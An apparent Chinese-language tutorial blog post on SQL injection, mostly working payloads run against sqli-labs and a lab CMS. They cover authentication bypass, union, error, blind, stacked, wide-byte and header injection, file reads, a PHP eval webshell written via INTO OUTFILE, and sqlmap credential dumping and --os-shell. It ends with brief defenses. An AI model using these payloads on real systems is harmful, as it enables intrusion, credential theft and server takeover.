SQL注入

一、SQL注入原理

​ SQL 注入(SQL Injection)是一种常见的Web 安全漏洞。攻击者利用这个漏洞,可以增删改查数据库中数据,或者利用潜在的数据库漏洞进行攻击。

1.1 万能用户名

在不知道密码的情况下,成功登录。

1.1.1 万能用户名

777' or 1=1 # 
admin' or '1'='1

1.1.2 查看代码

<?php session_start ();
header('Content-Type: text/html; charset=utf-8'); include_once ("../include/config.inc.php");
if (isset ( $_POST ["username"] )) {
$username = $_POST ["username"]; } else {
$username = ""; }
if (isset ( $_POST ["password"] )) {
$password = $_POST ["password"]; } else {
$password = ""; }
//记住用户名
setcookie (username, $username,time()+3600*24*365); if (empty($username)||empty($password)){
exit("<script>alert('用户名或密码不能为空!');window.history.go(-1)</script>"); }
$user_row = $db->getOneRow("select userid from cms_users where username = '".$username."' and password='".md5 (
$password ) ."'");
if (!empty($user_row )) {
setcookie (userid, $user_row ['userid'] ); header("Location: index.php");
}else{
exit("<script>alert('用户名或密码不正确!');window.history.go(-1)</script>"); }
?>

1.1.3 登录逻辑

  • 通过POST 方式获取用户名和密码;

  • 构造SQL 语句以用户名和密码作为查询条件进行查询,并且是单引号闭合;

  • 如果SQL 语句正确执行并且结果集对象中有记录则提示登录成功;

  • 否则,登录失败。

1.1.4拼接问题

select userid from cms_users where username = '{用户名}' and password='{md5(密码)}';

select userid from cms_users where username = '777' or 1=1 #' and password='e10adc3949ba59abbe56e057f20f883e';

1.2 SQL注入总结

1.2.1 SQL注入原理

​ SQL 注入的攻击行为可以描述为通过用户可控参数中注入SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

  • 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL 语句。
  • 未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL 语句中。

1.2.2 注入危害

​ 攻击者可以利用SQL 注入漏洞,可以获取数据库中的多种信息,例如,后台管理员账密,从而脱取数据库中的内容(脱库)。

​ 在特别的情况下还可以插入内容到数据库、删除数据库中的内容或者修改数据库内容。

​ 如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用SQL 注入漏洞直接获取WebShell 或者服务器权限。

1.2.3 SQL注入分类

根据不同的标准,SQL 注入漏洞可以有不同的分类。

image-20230823140626115

1.3 SQL注入漏洞挖掘

1.3.1 注入点判断

​ 会在疑似注入点的地方或者参数后面尝试提交数据,从而进行判断是否存在SQL 注入漏洞。

步骤测试数据测试判断
1-1 或 +1是否能够回显上一个或者下一个页面(判断是否有回显)
2’ 或 "是否显示数据库错误信息; 根据回显内容可以判断是字符型数据还是数字型。
3and 1=1
and 1=2
回显的页面是否不同(布尔类型的状态)
4and sleep(5)判断页面的返回时间
5\判断转义

1.3.2 主要关注的问题

主要关注的问题解释
回显数据库中的内容是否会回显在网页中。
数据库报错数据库报错信息是否会回显在网页中。
提交的数据是字符型还是数字型,如果是字符型数据,闭合方式是什么?
布尔类型状态显示的页面不同,形成对比。页面正常或者不正常。
延时让数据库沉睡相应的秒数

1.3.3 CMS 注入点

是否有回显。

http://10.4.7.130/cms/show.php?id=33 http://10.4.7.130/cms/show.php?id=32 http://10.4.7.130/cms/show.php?id=34

#  有回显

是否有报错。

http://10.4.7.130/cms/show.php?id=34'

# near ''' at line 1
#  中间的单引号才是SQL  语句报错的内容
# select * from tb_name where id=34' #  34  没有出现在报错信息中,说明是数字型注入

#  有报错

是否有布尔类型状态。

http://10.10.10.128/cms/show.php?id=33+and+1=1 # 页面正常
http://10.10.10.128/cms/show.php?id=33+and+1=2 #  页面不正常

#  有布尔类型状态

是否有延时。

http://10.10.10.128/cms/show.php?id=33+and+sleep(5)

#  有延时

1.4 其他知识补充

1.4.1 MySQL 数据库中的注释

MySQL 中的注释URL 中表现
减减空格(三个字符)【-- 】–+
井号 【#】%23
内联注释 /!5000 AJEST/

1.4.2 SQL 注入流程

​ 库名–>表名–>列名–>数据

1.4.3 可以代替空格的字符

?id=1'%0Aand%0A1=1%23 
?id=1'%0Band%0B1=1%23 
?id=1'%0Dand%0D1=2%23 
?id=1'%A0and%A01=2%23

二、SQL 注入基本手法

2.1 联合查询

​ 适用数据库中的内容会回显到页面中来的情况。联合查询就是利用union select 语句,该语句会同时执行两条select 语句,实现跨库、跨表查询。

2.1.1 必要条件

  • 两条select 语句查询结果具有相同列数;

  • 对应的列数据类型相同(特殊情况下,条件被放松)。

2.1.2 目标分析

?id=32 
?id=33
select * from tbName where id=32
select * from tbName where id=32 union select ....

2.1.3 判断列数

?id=32 order by 1 --+
?id=32 order by 2 --+
...

...
?id=32 order by 15 --+  #正常
?id=32 order by 16 --+ #不正常

# 当前select 语句中具有15 列。

?id=32 union selec

2.1.4 判断显示位置:

?id=32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 
#把第一条select 语句的查询条件置为假。

#方式一:
?id=-32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
#方式二:
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
# 回显位置为 3 和 11

2.1.5数据库中敏感信息

#查看数据库名称
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15 

#查看数据库版本
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15 

# @@datadir返回数据的存储目录
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,@@datadir,12,13,14,15 

# CURRENT_USER()函数返回MySQL服务器用来验证当前客户端的MySQL帐户的用户名和主机名
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,current_user(),12,13,14,15

2.1.6 获取管理员账密

## 获取数据库名:
?id=-33 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
# 获得数据库名为cms

##获取表名:
#查看表的个数
?id=-33 UNION SELECT 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()
#8个表

#查看第一个表名的字符的十六进制数
?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() limit 0,1
#查看第二个表名的字符的十六进制数
?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() limit 1,1

...

##获取列名:
#攻击者的目的是获取’cms_users’表的列名,并通过将其转换为十六进制字符串返回给攻击者的自定义查询结果。
?id=-33 UNION SELECT 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'

##获取数据

?id=-33 UNION SELECT 1,2,hex(concat(username,0x3a,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users

解释:

UNION SELECT通常用于将两个或多个SELECT语句的结果合并到一起。

hex(group_concat(column_name)): 这段代码使用group_concat()函数将column_name列的值合并成一个字符串,并使用hex()函数将其转换为十六进制格式。这样做是为了避免可能存在的特殊字符对查询的影响。

from information_schema.columns: 这是指定数据查询来源的部分,information_schema.columns是MySQL数据库系统中存储有关表和列的元数据信息的一个系统视图。

where table_schema=database() and table_name='cms_users': 这个条件指定了查询的限定条件,只查询与当前数据库和表名为’cms_users’相关的列名。

2.2 报错注入

​ 在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。

​ 报错注入的原理,在错误信息中执行SQL 语句。触发报错的方式有很多,具体细节也不尽相同。此处建议直接背公式,将公式带换掉 1=1 的部分。

2.2.1 group by

?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)

?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit 0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)

2.2.2 extractvalue

?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))

?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))

2.2.3 updatexml

?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)

?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)

?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)

2.3 布尔盲注

​ 页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断。

2.3.1 库名爆破

/Less-8/?id=2' and database()='xxx' --+ 
#  不知道数据库名有多少位
#  不知道数据库名的字符集合
#  爆破成本很高

2.3.2 库名长度

/Less-8/?id=2' and length(database())=8 --+ 
#  页面正常,说明数据库名字的长度是8

2.3.3 按位测试

#  第一位
/sqli-labs/Less-8/?id=2' and ascii(substr(database(),1,1))=115 --+
#  115
#   s

# 第二位
/sqli-labs/Less-8/?id=2' and ascii(substr(database(),2,1))=101 --+
#  115	101
#   s	 e

#  第三位
...

2.4 延时注入

利用sleep() 语句的延时性,以时间线作为判断条件。

2.4.1 数据库名字的长度

/sqli-labs/Less-9/?id=2' and if(length(database())>1,sleep(5),1) --+ 
#  页面有延时

2.4.2 数据库名字

/sqli-labs/Less-9/?id=2' and if(substr(database(),3,1)='c',sleep(5),1) --+ 
#  115	101 	99
#   s	 e  	c

2.5 堆叠查询

一次HTTP 请求,可以同时执行多条SQL 语句,包括增删改查操作。

以sqli-labs 第38 关为例子。

?id=2';update users set password='123456'--+

三、SQL 注入其他情况

3.1 宽字节注入

​ 宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。宽字节注入的目的是绕过单双引号转义,以sqli-labs-32 关为例子。

?id=2 
?id=2' 
2\'   #服务器会把单引号转义,单引号由原来的定义字符串的特殊字符被转义为普通字符。
325c27  #非常强烈的暗示,表示2\'的ascii码

我们要让转移符号失效:

转义符号的ascii码为5c

image-20230824163009017

3.1.1 代码分析

function check_addslashes($string) {
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
$string = preg_replace('/\'/i', '\\\'', $string); backslash
$string = preg_replace('/\"/', "\\\"", $string); backslash


return $string; }

// take the variables if(isset($_GET['id'])) {
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp);

// connectivity

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
  • 单双引号被转义,没有其他过滤;
  • 与数据库通讯(交互)的数据字符编码设置为了GBK
  • 转义符号\的ascii码为5c

3.1.2 GBK 编码

GBK 汉字编码方案,双字节编码,两个字节作为一个汉字。GBK 编码范围[8140,FEFE],可以通过汉字字符集编码查询。注意到5C 在GBK 编码的低位范围之内[40,FE]。在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字。

image-20230823220919013

3.1.3 宽字节注入

cb5c ?id=1  #薥
%cb' 
1%df\' 
31cb5c27 
1'    # “吃”掉了转义字符\


/Less-32/?id=1%cb' and 1=2 union select 1,database(),3 --+

宽字节注入练习

3.2 HTTP 头部注入

SQL 注入点不止会出现在GET 参数或POST 参数中。

向服务器传参三大基本方法:GPC

  • GET 位置:url中

  • POST 位置:body中

  • COOKIE 位置:HTTP请求头部中

3.2.1 Cookie 注入

注入点在Cookie 数据中,以sqli-labs-20 关为例子。

username:Dump password:Dump

GET /sqli-labs/Less-20/index.php HTTP/1.1 Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.4.7.128/sqli-labs/Less-20/
DNT:  1 Connection: close
Cookie: uname=Dumb' and 1=2 union select 1,version(),database() # Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

--+ 建议只在get注入中使用

Cookie注入中使用#

3.2.2 base64 注入

注入的参数需要进行base64 编码(方便网络数据的传输),以sqli-labs-22 关为例子。

GET /sqli-labs/Less-22/index.php HTTP/1.1 Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.4.7.128/sqli-labs/Less-22/
DNT:  1 Connection: close
Cookie:  uname=RHVtYiIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksZGF0YWJhc2UoKSM= Upgrade-Insecure-Requests: 1

3.2.3 User-Agent 注入

注入的参数在User-Agent 中,以sqli-labs-18 关为例子。

添加单引号有报错信息,尝试使用#(注释),注释还报错的话,采用闭合手段(' and '1'='1

POST /sqli-labs/Less-18/ HTTP/1.1 Host: 10.4.7.128
User-Agent: AJEST' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded Content-Length: 36
Origin: http://10.4.7.128 DNT:  1
Connection: close
Referer: http://10.4.7.128/sqli-labs/Less-18/
Upgrade-Insecure-Requests: 1

uname=Dumb&passwd=Dumb&submit=Submit

3.2.4 Referer 注入

注入参数在Referer 字段中,以sqli-labs-19 关为例子。

POST /sqli-labs/Less-19/ HTTP/1.1 Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded Content-Length: 36
Origin: http://10.4.7.128 DNT:  1
Connection: close
Referer: AJEST' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1 Upgrade-Insecure-Requests: 1

uname=Dumb&passwd=Dumb&submit=Submit

四、SQL 注入读写文件

4.1 前提条件

  1. 权限
    ?id=1’and 1=2 union select 1,user(),3 –
    root@localhost

  2. 绝对路径

    ​ web应用在服务器上的绝对路径,一般情况下是不知道的。
    ​ 系统敏感文件的路径是固定的。

    windows
    ​ SAM
    ​ c:\windows\system32\drivers\etc\hosts

    liunx
    ​ /etc/shadow
    ​ /etc/passwd

    3.安全选项

    ​ secure_file_priv

    ​ secure_file_priv=null #不允许导入导出操作

    ​ secure_file_priv=‘c:\phpstudy_2016’ #导入导出操作,只允许在此目录及其子目录下完成。

    ​ secure_file_priv= #什么也不填,表示不对导入导出操作做限制。

4.1.1 权限问题

​ 当前(连接)数据库的用户具有文件读写权限。数据库的权限粒度,某个库中某个表某个用户是否有增删改查权限。

​ MySQL 数据库用户,例如root@localhost,由两部分组成:

  • 用户名

  • 地址

# root@localhost

?id=1' and 1=2 union select 1,file_priv,3 from mysql.user where user='root' and host='localhost'
 

4.1.2 文件路径

已知读写目标文件的绝对路径。

/var/www/
/var/www/html/
c:/phpstudy/www/
c:/xampp/htdocs/
...

4.1.3 安全选项

mysql数据库的配置文件:mysql.ini

写在mysqld

​ MySQL 数据库有关于文件读写的安全选项secure_file_priv。

​ secure_file_priv 参数限制了mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改my.ini 配置文件,并重启mysql 数据库。

show global variables like '%secure_file_priv%';

参数值说明

参数含义
secure_file_priv=NULL限制mysqld 不允许导入导出操作。
secure_file_priv=‘c:/a/’会限制mysqld 的导入导出操作在某个固定目录下,并且子目录有效。
secure_file_priv=不对mysqld 的导入导出操作做限制。

4.2 读写文件

4.2.1 读取文件

使用load_file() 函数。

and 1=2 union select 1,load_file("c:\\windows\\system32\\drivers\\etc\\hosts"),3

and 1=2 union select 1,load_file("c:/windows/system32/drivers/etc/hosts"),3

and 1=2 union select 1,load_file("/etc/passwd"),3

4.2.2 写入文件

使用into outfile 语句。

and 1=2 union select 1,2,3 into outfile "c:/phpstudy_2016/www/1.php"

and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "c:/phpstudy_2016/www/2.php"

and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "/var/www/html/1.php"

and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "/tmp/1.php"

Linux 系统下,一般情况下权限较低,无法写入文件

补充:

php一句话木马

<?php @eval($_REQUEST[777])?>

中国蚁剑快捷键:antsword

五、SQL 注入工具

5.1 SQL Map

SQLMap 是一款专注于SQLi 的工具,堪称神器。SQLmap 基于Python 语言编写的命令行工具,集成在Kali 中。

5.1.1 安装与更新

Kali 自带SQLMap 更新:

sudo apt-get update #更新软件列表
sudo apt-get install sqlmap #安装sqlmap
sqlmap  # 运行sqlmap
sudo apt-get purge sqlmap # 卸载sqlmap

也可以源码包安装:

在github网站中搜索sqlmap

git clone https://github.com/sqlmapproject/sqlmap.git 
python3 sqlmap.py #运行sqlmap
git fetch
git pull

5.1.2 参数速查

参数含义
-u检测注入点
–dbs列出所有的库名
–current-user当前连接数据库用户的名字
–current-db当前数据库的名字
-D “cms”指定目标数据库为cms
-T “cms_users”指定目标表名为’cms_users’
–columns列出所有的字段名
-C ‘username,password’指定目标字段
–dump列出字段内容
-r从文件中读取HTTP 请求
–os-shell在特定情况下,可以直接获得目标系统Shell
–level 3设置sqlmap 检测等级 3
–cookie=“username=admin”携带Cookie 信息进行注入
-g利用google 搜索引擎自动搜索注入点
–batch使用默认选项
–random-agent使用随机User-Agent 信息
-v 3显示payload

-u 也可写成--url ,后面跟检测注入点

​ 例如:python3 sqlmap.py -u “http://10.9.75.67/cms/show.php?id=33”

--dbs

5.1.3 SQLMap 实战

sqlmap工具使用详细说明.md

利用sqlmap 注入得到cms 网站管理员账密:

注入点:http://10.10.10.6/cms/show.php?id=33

sqlmap -u "http://10.10.10.1/show.php?id=33" sqlmap -u "http://10.10.10.1/show.php?id=33" --dbs

sqlmap -u "http://10.10.10.1/show.php?id=33" --current-db sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" --tables

sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" -T "cms_users" --columns

sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" -T "cms_users" -C "username,password" --dump

+----------+----------------------------------+
| username | password	| 
+----------+----------------------------------+
| admin	| 21232f297a57a5a743894a0e4a801fc3 |
| ajest	| e10adc3949ba59abbe56e057f20f883e | 
+----------+----------------------------------+

5.1.4 POST 注入

sqlmap -r /tmp/login.post

补充:

​ 不做302跳转

5.1.5 GetShell

  • 受到secure_file_priv 选项的限制;

  • 目标系统Web 根目录的绝对路径;

  • 目录权限。

  • sqlmap -u "http://192.168.16.119/show.php?id=33" --os-shell
    

六、 SQL 注入漏洞防御

  • 避免采用拼接的方式构造SQL 语句,可以采用预编译等技术;

  • 对进入SQL 语句的参数进行足够过滤。

  • 部署安全设备比如WAF(web应用安全防火墙)。

  • 6
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值